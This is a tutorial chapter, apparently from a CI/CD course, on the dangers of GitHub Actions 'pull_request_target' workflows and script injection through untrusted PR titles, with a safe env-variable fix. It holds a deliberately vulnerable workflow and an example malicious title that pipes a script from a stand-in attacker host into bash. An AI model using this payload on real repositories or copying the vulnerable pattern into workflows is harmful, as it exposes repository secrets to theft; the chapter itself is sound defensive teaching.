Skip to content

Fork PRs and Pull Request Target Dangers


Every trigger you’ve used so far in this course has run in a context you controlled — your own pushes, your own PR activity. Fork pull requests break that assumption. Anyone on the internet can open a PR against a public repository, and the moment they do, some of the text in that PR — its title, its branch name, its commit messages — is something they wrote, not you. If your workflow ever treats that text as trusted, you’ve handed a stranger a way to run their own commands using your repository’s permissions.

pull_request vs pull_request_target

Both events fire when someone opens or updates a pull request, but they run under very different levels of trust.

Scopepull_requestpull_request_target
Runs in the context ofThe PR’s own branch (the fork)Your base repository
GITHUB_TOKENRead-only by default, scoped downFull permissions as configured
Access to repository secretsNoYes
Typical useRunning tests against untrusted PR codeCommenting, labeling, triage automation

pull_request is the safe default you’ve used throughout this course for CI jobs: it deliberately withholds secrets and write access, because it expects to be running a stranger’s code. pull_request_target exists for the opposite case — workflows that need to act on a pull request (leaving a comment, applying a label) without necessarily running any of the fork’s code. To do that safely, it grants the base repository’s full GITHUB_TOKEN and secrets, on the theory that the workflow itself only ever touches trusted code from your default branch.

The danger shows up the moment that theory breaks — when a pull_request_target workflow also pulls in something from the fork, whether that’s checking out the PR’s code directly or just reading a piece of text the PR author controls.

Note

Recent versions of actions/checkout (v5 and later, including the SHA you pinned in earlier chapters) added a default safeguard: when triggered by pull_request_target, checkout now refuses to check out the fork’s actual commit unless you explicitly opt in with allow-unsafe-pr-checkout. That closes one specific door — accidentally running the fork’s code. It doesn’t protect against the pattern below, which never checks out fork code at all.

The Vulnerability: Untrusted Text Straight Into run:

Here’s a workflow that looks harmless. It reacts to a pull request and echoes the PR’s title into a log line:

on:
  pull_request_target:

jobs:
  greet:
    runs-on: ubuntu-latest
    steps:
      - name: Greet
        run: echo "Thanks for the PR titled: ${{ github.event.pull_request.title }}"

The problem is where that title text ends up. GitHub Actions expands ${{ ... }} expressions before the shell ever sees the line — it’s a straight text substitution into the run: script, not a safely-escaped argument. Whatever the PR author typed as their title becomes literal shell syntax.

Someone opens a pull request titled:

"; curl https://attacker.example/steal.sh | bash #

After expansion, the step that actually runs is:

echo "Thanks for the PR titled: "; curl https://attacker.example/steal.sh | bash #"

The first echo runs harmlessly, and then the attacker’s curl | bash executes right alongside it — inside a job that, because this is pull_request_target, has access to every secret configured in your repository. A PR title is something anyone can set without ever needing write access to your repo. That’s the entire attack: no fork checkout required, no malicious code review to sneak past, just a title.

    sequenceDiagram
    participant Fork as Attacker (fork PR)
    participant GH as GitHub Actions
    participant Job as pull_request_target job

    Fork->>GH: Opens PR with malicious title text
    GH->>Job: Expands ${{ github.event.pull_request.title }} into run: script
    Job->>Job: Shell executes expanded text as commands
    Job->>Fork: Secrets exfiltrated (job has full repo secrets)
  

This same pattern applies to any field an outside contributor controls: PR title, branch name, commit message, issue body, comment text. If it can be typed by someone without write access, and it lands inside a run: block via ${{ }} expansion, it’s an injection vector.

The Fix: Pass It Through An Environment Variable Instead

The safe version never lets GitHub Actions substitute untrusted text directly into the script. Instead, hand it to the shell as an environment variable, and let the shell — not the workflow expression engine — handle it as data:

on:
  pull_request_target:

jobs:
  greet:
    runs-on: ubuntu-latest
    steps:
      - name: Greet
        env:
          PR_TITLE: ${{ github.event.pull_request.title }}
        run: echo "Thanks for the PR titled: $PR_TITLE"

The ${{ }} expansion still happens, but now it only ever sets the value of the PR_TITLE environment variable — it never gets pasted into the script text itself. The shell then substitutes $PR_TITLE as an ordinary variable reference, the same way it would with any other string, quotes and special characters included. The malicious title from earlier becomes a strange-looking but inert value: echo prints it verbatim, semicolons and all, and nothing after it executes.

Warning

This fix is specific to how the value is used, not which trigger fired the workflow. The same interpolation risk exists in a plain pull_request workflow too — it’s just far less dangerous there, because that context doesn’t have secrets to steal in the first place. The env: indirection is a good habit for any untrusted input, regardless of trigger.

The Rule Of Thumb

Before you write ${{ github.event.pull_request.<anything> }} — or any other field you don’t control — directly inside a run: block, ask whether that field’s value could be typed by an outside contributor. If it could, route it through env: first. It costs two extra lines and removes an entire class of vulnerability that has shown up repeatedly in real open-source workflows, not just as a theoretical concern.

Last updated on